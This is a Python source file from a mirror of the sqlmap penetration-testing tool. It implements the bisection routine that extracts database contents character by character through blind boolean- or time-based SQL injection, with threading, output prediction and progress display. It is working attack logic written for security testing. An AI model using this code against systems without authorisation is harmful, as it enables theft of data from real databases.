mirror of
https://github.com/sqlmapproject/sqlmap.git
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534 lines
24 KiB
Python
534 lines
24 KiB
Python
#!/usr/bin/env python
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"""
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$Id$
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Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/)
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See the file 'doc/COPYING' for copying permission
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"""
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import threading
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import time
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from extra.safe2bin.safe2bin import safecharencode
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from lib.core.agent import agent
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from lib.core.common import Backend
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from lib.core.common import dataToStdout
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from lib.core.common import decodeHexValue
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from lib.core.common import decodeIntToUnicode
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from lib.core.common import filterControlChars
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from lib.core.common import getCharset
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from lib.core.common import getCounter
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from lib.core.common import goGoodSamaritan
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from lib.core.common import getPartRun
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from lib.core.common import hashDBRetrieve
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from lib.core.common import hashDBWrite
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from lib.core.common import incrementCounter
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from lib.core.common import safeStringFormat
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from lib.core.common import setFormatterPrependFlag
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from lib.core.common import singleTimeWarnMessage
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from lib.core.data import conf
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from lib.core.data import kb
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from lib.core.data import logger
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from lib.core.data import queries
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from lib.core.enums import DBMS
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from lib.core.enums import PAYLOAD
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from lib.core.exception import sqlmapThreadException
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from lib.core.progress import ProgressBar
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from lib.core.settings import CHAR_INFERENCE_MARK
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from lib.core.settings import INFERENCE_BLANK_BREAK
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from lib.core.settings import INFERENCE_UNKNOWN_CHAR
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from lib.core.settings import INFERENCE_GREATER_CHAR
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from lib.core.settings import INFERENCE_EQUALS_CHAR
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from lib.core.settings import INFERENCE_NOT_EQUALS_CHAR
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from lib.core.settings import MAX_TIME_REVALIDATION_STEPS
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from lib.core.settings import PARTIAL_VALUE_MARKER
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from lib.core.threads import getCurrentThreadData
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from lib.core.threads import runThreads
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from lib.core.unescaper import unescaper
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from lib.request.connect import Connect as Request
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def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None, dump=False):
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"""
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Bisection algorithm that can be used to perform blind SQL injection
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on an affected host
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"""
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partialValue = u""
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finalValue = None
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abortedFlag = False
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asciiTbl = getCharset(charsetType)
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timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))
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retVal = hashDBRetrieve(expression, checkConf=True)
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if retVal:
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if PARTIAL_VALUE_MARKER in retVal:
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partialValue = retVal.replace(PARTIAL_VALUE_MARKER, "")
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dataToStdout("[%s] [INFO] resuming partial value: '%s'\r\n" % (time.strftime("%X"), safecharencode(partialValue)))
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else:
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dataToStdout("[%s] [INFO] resumed: %s\r\n" % (time.strftime("%X"), safecharencode(retVal)))
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return 0, retVal
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try:
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# Set kb.partRun in case "common prediction" feature (a.k.a. "good
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# samaritan") is used
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kb.partRun = getPartRun() if conf.predictOutput else None
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if partialValue:
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firstChar = len(partialValue)
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elif "LENGTH(" in expression or "LEN(" in expression:
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firstChar = 0
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elif dump and conf.firstChar is not None and ( isinstance(conf.firstChar, int) or ( isinstance(conf.firstChar, basestring) and conf.firstChar.isdigit() ) ):
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firstChar = int(conf.firstChar) - 1
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elif firstChar is None:
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firstChar = 0
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elif ( isinstance(firstChar, basestring) and firstChar.isdigit() ) or isinstance(firstChar, int):
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firstChar = int(firstChar) - 1
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if "LENGTH(" in expression or "LEN(" in expression:
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lastChar = 0
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elif dump and conf.lastChar is not None and ( isinstance(conf.lastChar, int) or ( isinstance(conf.lastChar, basestring) and conf.lastChar.isdigit() ) ):
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lastChar = int(conf.lastChar)
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elif lastChar in ( None, "0" ):
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lastChar = 0
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elif ( isinstance(lastChar, basestring) and lastChar.isdigit() ) or isinstance(lastChar, int):
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lastChar = int(lastChar)
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if Backend.getDbms():
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_, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression)
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nulledCastedField = agent.nullAndCastField(fieldToCastStr)
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expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1)
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expressionUnescaped = unescaper.unescape(expressionReplaced)
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else:
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expressionUnescaped = unescaper.unescape(expression)
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if length and not isinstance(length, int) and length.isdigit():
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length = int(length)
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if length == 0:
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return 0, ""
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if lastChar > 0 and length > ( lastChar - firstChar ):
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length = ( lastChar - firstChar )
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showEta = conf.eta and isinstance(length, int)
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numThreads = min(conf.threads, length)
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if showEta:
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progress = ProgressBar(maxValue=length)
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progressTime = []
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if timeBasedCompare and conf.threads > 1:
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warnMsg = "multi-threading is considered unsafe in time-based data retrieval. Going to switch it off automatically"
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singleTimeWarnMessage(warnMsg)
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if numThreads > 1:
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if not timeBasedCompare:
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debugMsg = "starting %d thread%s" % (numThreads, ("s" if numThreads > 1 else ""))
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logger.debug(debugMsg)
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else:
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numThreads = 1
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if conf.threads == 1 and not timeBasedCompare:
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warnMsg = "running in a single-thread mode. Please consider "
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warnMsg += "usage of option '--threads' for faster data retrieval"
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singleTimeWarnMessage(warnMsg)
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if conf.verbose in (1, 2) and not showEta:
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if isinstance(length, int) and conf.threads > 1:
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dataToStdout("[%s] [INFO] retrieved: %s" % (time.strftime("%X"), "_" * min(length, conf.progressWidth)))
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dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X"))
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else:
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dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X"))
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hintlock = threading.Lock()
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def tryHint(idx):
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hintlock.acquire()
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hintValue = kb.hintValue
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hintlock.release()
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if hintValue is not None and len(hintValue) >= idx:
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if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.MAXDB, DBMS.DB2):
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posValue = hintValue[idx-1]
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else:
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posValue = ord(hintValue[idx-1])
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forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, posValue))
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result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
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incrementCounter(kb.technique)
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if result:
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return hintValue[idx-1]
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hintlock.acquire()
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kb.hintValue = None
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hintlock.release()
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return None
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def validateChar(idx, value):
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"""
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Used in time-based inference (in case that original and retrieved
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value are not equal there will be a deliberate delay).
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"""
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forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_NOT_EQUALS_CHAR), (expressionUnescaped, idx, value))
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result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
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incrementCounter(kb.technique)
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return not result
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def getChar(idx, charTbl=asciiTbl, continuousOrder=True, expand=charsetType is None, shiftTable=None):
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"""
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continuousOrder means that distance between each two neighbour's
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numerical values is exactly 1
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"""
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result = tryHint(idx)
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if result:
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return result
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originalTbl = list(charTbl)
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if continuousOrder and shiftTable is None:
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# Used for gradual expanding into unicode charspace
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shiftTable = [5, 4]
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if CHAR_INFERENCE_MARK in payload and ord('\n') in charTbl:
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charTbl.remove(ord('\n'))
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if len(charTbl) == 1:
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forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, charTbl[0]))
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result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
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incrementCounter(kb.technique)
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if result:
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return decodeIntToUnicode(charTbl[0])
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else:
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return None
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maxChar = maxValue = charTbl[-1]
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minChar = minValue = charTbl[0]
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while len(charTbl) != 1:
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position = (len(charTbl) >> 1)
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posValue = charTbl[position]
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if CHAR_INFERENCE_MARK not in payload:
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forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx, posValue))
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else:
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# e.g.: ... > '%c' -> ... > ORD(..)
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markingValue = "'%s'" % CHAR_INFERENCE_MARK
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unescapedCharValue = unescaper.unescape("'%s'" % decodeIntToUnicode(posValue))
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forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue)
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result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
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incrementCounter(kb.technique)
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if result:
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minValue = posValue
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if type(charTbl) != xrange:
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charTbl = charTbl[position:]
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else:
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# xrange() - extended virtual charset used for memory/space optimization
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charTbl = xrange(charTbl[position], charTbl[-1] + 1)
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else:
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maxValue = posValue
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if type(charTbl) != xrange:
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charTbl = charTbl[:position]
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else:
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charTbl = xrange(charTbl[0], charTbl[position])
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if len(charTbl) == 1:
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if continuousOrder:
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if maxValue == 1:
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return None
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# Going beyond the original charset
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elif minValue == maxChar:
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# If the original charTbl was [0,..,127] new one
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# will be [128,..,128*16-1] or from 128 to 2047
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# and instead of making a HUGE list with all the
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# elements we use a xrange, which is a virtual
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# list
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if expand and shiftTable:
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charTbl = xrange(maxChar + 1, (maxChar + 1) << shiftTable.pop())
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originalTbl = list(charTbl)
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maxChar = maxValue = charTbl[-1]
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minChar = minValue = charTbl[0]
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else:
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return None
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else:
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retVal = minValue + 1
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if retVal in originalTbl or (retVal == ord('\n') and CHAR_INFERENCE_MARK in payload):
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if timeBasedCompare and not validateChar(idx, retVal):
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if not kb.originalTimeDelay:
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kb.originalTimeDelay = conf.timeSec
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if (conf.timeSec - kb.originalTimeDelay) < MAX_TIME_REVALIDATION_STEPS:
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errMsg = "invalid character detected. retrying.."
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logger.error(errMsg)
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warnMsg = "increasing time delay to %d second%s " % (conf.timeSec, 's' if conf.timeSec > 1 else '')
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logger.warn(warnMsg)
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conf.timeSec += 1
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if kb.adjustTimeDelay:
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dbgMsg = "turning off auto-adjustment mechanism"
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logger.debug(dbgMsg)
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kb.adjustTimeDelay = False
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return getChar(idx, originalTbl, continuousOrder, expand, shiftTable)
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else:
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errMsg = "unable to properly validate last character value ('%s').." % decodeIntToUnicode(retVal)
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logger.error(errMsg)
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conf.timeSec = kb.originalTimeDelay
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return decodeIntToUnicode(retVal)
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else:
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return decodeIntToUnicode(retVal)
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else:
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return None
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else:
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if minValue == maxChar or maxValue == minChar:
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return None
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# If we are working with non-continuous elements, set
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# both minValue and character afterwards are possible
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# candidates
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for retVal in (originalTbl[originalTbl.index(minValue)], originalTbl[originalTbl.index(minValue) + 1]):
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forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, retVal))
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result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
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incrementCounter(kb.technique)
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if result:
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return decodeIntToUnicode(retVal)
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return None
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def etaProgressUpdate(charTime, index):
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if len(progressTime) <= ( (length * 3) / 100 ):
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eta = 0
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else:
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midTime = sum(progressTime) / len(progressTime)
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midTimeWithLatest = (midTime + charTime) / 2
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eta = midTimeWithLatest * (length - index) / conf.threads
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progressTime.append(charTime)
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progress.update(index)
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progress.draw(eta)
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# Go multi-threading (--threads > 1)
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if conf.threads > 1 and isinstance(length, int) and length > 1:
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value = []
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threadData = getCurrentThreadData()
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threadData.shared.value = [ None ] * length
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threadData.shared.index = [ firstChar ] # As list for python nested function scoping
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threadData.shared.start = firstChar
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try:
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def blindThread():
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threadData = getCurrentThreadData()
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while kb.threadContinue:
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kb.locks.index.acquire()
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if threadData.shared.index[0] >= length:
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kb.locks.index.release()
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return
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threadData.shared.index[0] += 1
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curidx = threadData.shared.index[0]
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kb.locks.index.release()
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if kb.threadContinue:
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charStart = time.time()
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val = getChar(curidx)
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if val is None:
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val = INFERENCE_UNKNOWN_CHAR
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else:
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break
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kb.locks.value.acquire()
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threadData.shared.value[curidx - 1] = val
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currentValue = list(threadData.shared.value)
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kb.locks.value.release()
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if kb.threadContinue:
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if showEta:
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etaProgressUpdate(time.time() - charStart, threadData.shared.index[0])
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elif conf.verbose >= 1:
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startCharIndex = 0
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endCharIndex = 0
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for i in xrange(length):
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if currentValue[i] is not None:
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endCharIndex = max(endCharIndex, i)
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output = ''
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if endCharIndex > conf.progressWidth:
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startCharIndex = endCharIndex - conf.progressWidth
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count = threadData.shared.start
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for i in xrange(startCharIndex, endCharIndex + 1):
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output += '_' if currentValue[i] is None else currentValue[i]
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for i in xrange(length):
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count += 1 if currentValue[i] is not None else 0
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if startCharIndex > 0:
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output = '..' + output[2:]
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if (endCharIndex - startCharIndex == conf.progressWidth) and (endCharIndex < length-1):
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output = output[:-2] + '..'
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if conf.verbose in (1, 2) and not showEta:
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output += '_' * (min(length, conf.progressWidth) - len(output))
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status = ' %d/%d (%d%s)' % (count, length, round(100.0*count/length), '%')
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output += status if count != length else " "*len(status)
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dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(output)))
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runThreads(numThreads, blindThread, startThreadMsg=False)
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except KeyboardInterrupt:
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abortedFlag = True
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finally:
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value = map(lambda _: partialValue[_] if _ < len(partialValue) else threadData.shared.value[_], xrange(length))
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infoMsg = None
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# If we have got one single character not correctly fetched it
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# can mean that the connection to the target url was lost
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if None in value:
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partialValue = "".join(_ for _ in value[:value.index(None)])
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if partialValue:
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infoMsg = "\r[%s] [INFO] partially retrieved: %s" % (time.strftime("%X"), filterControlChars(partialValue))
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else:
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finalValue = "".join(value)
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infoMsg = "\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(finalValue))
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if conf.verbose in (1, 2) and not showEta and infoMsg:
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dataToStdout(infoMsg)
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# No multi-threading (--threads = 1)
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else:
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index = firstChar
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while True:
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index += 1
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charStart = time.time()
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# Common prediction feature (a.k.a. "good samaritan")
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# NOTE: to be used only when multi-threading is not set for
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# the moment
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if conf.predictOutput and len(partialValue) > 0 and kb.partRun is not None:
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val = None
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commonValue, commonPattern, commonCharset, otherCharset = goGoodSamaritan(partialValue, asciiTbl)
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# If there is one single output in common-outputs, check
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# it via equal against the query output
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if commonValue is not None:
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# One-shot query containing equals commonValue
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testValue = unescaper.unescape("'%s'" % commonValue) if "'" not in commonValue else unescaper.unescape("%s" % commonValue, quote=False)
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query = agent.prefixQuery(safeStringFormat("AND (%s) = %s", (expressionUnescaped, testValue)))
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query = agent.suffixQuery(query)
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result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False)
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incrementCounter(kb.technique)
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# Did we have luck?
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if result:
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if showEta:
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etaProgressUpdate(time.time() - charStart, len(commonValue))
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elif conf.verbose in (1, 2):
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dataToStdout(commonValue[index-1:])
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finalValue = commonValue
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break
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# If there is a common pattern starting with partialValue,
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# check it via equal against the substring-query output
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if commonPattern is not None:
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# Substring-query containing equals commonPattern
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subquery = queries[Backend.getIdentifiedDbms()].substring.query % (expressionUnescaped, 1, len(commonPattern))
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testValue = unescaper.unescape("'%s'" % commonPattern) if "'" not in commonPattern else unescaper.unescape("%s" % commonPattern, quote=False)
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query = agent.prefixQuery(safeStringFormat("AND (%s) = %s", (subquery, testValue)))
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query = agent.suffixQuery(query)
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result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False)
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incrementCounter(kb.technique)
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# Did we have luck?
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if result:
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val = commonPattern[index-1:]
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index += len(val)-1
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# Otherwise if there is no commonValue (single match from
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# txt/common-outputs.txt) and no commonPattern
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# (common pattern) use the returned common charset only
|
|
# to retrieve the query output
|
|
if not val and commonCharset:
|
|
val = getChar(index, commonCharset, False)
|
|
|
|
# If we had no luck with commonValue and common charset,
|
|
# use the returned other charset
|
|
if not val:
|
|
val = getChar(index, otherCharset, otherCharset == asciiTbl)
|
|
else:
|
|
val = getChar(index, asciiTbl)
|
|
|
|
if val is None or ( lastChar > 0 and index > lastChar ):
|
|
finalValue = partialValue
|
|
break
|
|
|
|
if kb.data.processChar:
|
|
val = kb.data.processChar(val)
|
|
|
|
partialValue += val
|
|
|
|
if showEta:
|
|
etaProgressUpdate(time.time() - charStart, index)
|
|
elif conf.verbose in (1, 2):
|
|
dataToStdout(val)
|
|
|
|
if len(partialValue) > INFERENCE_BLANK_BREAK and partialValue[-INFERENCE_BLANK_BREAK:].isspace():
|
|
finalValue = partialValue
|
|
break
|
|
|
|
except KeyboardInterrupt:
|
|
abortedFlag = True
|
|
finally:
|
|
setFormatterPrependFlag(False)
|
|
|
|
if conf.verbose in (1, 2) or showEta:
|
|
dataToStdout("\n")
|
|
|
|
if ( conf.verbose in ( 1, 2 ) and showEta ) or conf.verbose >= 3:
|
|
infoMsg = "retrieved: %s" % filterControlChars(finalValue)
|
|
logger.info(infoMsg)
|
|
|
|
if finalValue is not None:
|
|
finalValue = decodeHexValue(finalValue) if conf.hexConvert else finalValue
|
|
hashDBWrite(expression, finalValue)
|
|
else:
|
|
hashDBWrite(expression, "%s%s" % (PARTIAL_VALUE_MARKER, partialValue))
|
|
|
|
if kb.threadException:
|
|
raise sqlmapThreadException, "something unexpected happened inside the threads"
|
|
|
|
if abortedFlag:
|
|
raise KeyboardInterrupt
|
|
|
|
_ = finalValue or partialValue
|
|
return getCounter(kb.technique), safecharencode(_) if kb.safeCharEncode else _
|